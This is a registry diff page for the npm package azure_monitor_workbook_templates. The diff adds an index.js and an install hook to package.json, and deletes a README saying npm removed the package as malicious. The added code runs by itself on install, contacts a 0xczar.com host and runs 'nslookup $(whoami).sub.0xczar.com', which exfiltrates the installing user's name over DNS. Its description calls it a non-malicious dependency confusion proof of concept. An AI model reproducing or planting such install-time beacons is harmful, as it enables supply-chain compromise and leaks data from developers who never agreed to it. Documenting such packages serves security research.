azure_monitor_workbook_templates 0.0.1-security.0 → 9.9.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of azure_monitor_workbook_templates might be problematic. Click here for more details.
- package/index.js +39 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
exports.printMsg = function() {
|
2
|
+
console.log("This is a test message from 0xczar for POC purposes");
|
3
|
+
}
|
4
|
+
|
5
|
+
const https = require('http')
|
6
|
+
const options = {
|
7
|
+
hostname: 'azure_js_file.sub.0xczar.com',
|
8
|
+
port: 80,
|
9
|
+
path: '/0xczar_404.txt',
|
10
|
+
method: 'GET'
|
11
|
+
}
|
12
|
+
|
13
|
+
const req = https.request(options, res => {
|
14
|
+
console.log(`statusCode: ${res.statusCode}`)
|
15
|
+
|
16
|
+
res.on('data', d => {
|
17
|
+
process.stdout.write(d)
|
18
|
+
})
|
19
|
+
})
|
20
|
+
|
21
|
+
req.on('error', error => {
|
22
|
+
console.error(error)
|
23
|
+
})
|
24
|
+
|
25
|
+
req.end()
|
26
|
+
|
27
|
+
const { exec } = require("child_process");
|
28
|
+
|
29
|
+
exec("cmd /v /c 'nslookup $(whoami).sub.0xczar.com'", (error, stdout, stderr) => {
|
30
|
+
if (error) {
|
31
|
+
console.log(`error: ${error.message}`);
|
32
|
+
return;
|
33
|
+
}
|
34
|
+
if (stderr) {
|
35
|
+
console.log(`stderr: ${stderr}`);
|
36
|
+
return;
|
37
|
+
}
|
38
|
+
console.log(`stdout: ${stdout}`);
|
39
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "azure_monitor_workbook_templates",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.9.99",
|
4
|
+
"description": "This is a non-malicious package for Azure Dependency Confusion test POC",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"install": "node index.js"
|
9
|
+
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
6
13
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=azure_monitor_workbook_templates for more information.
|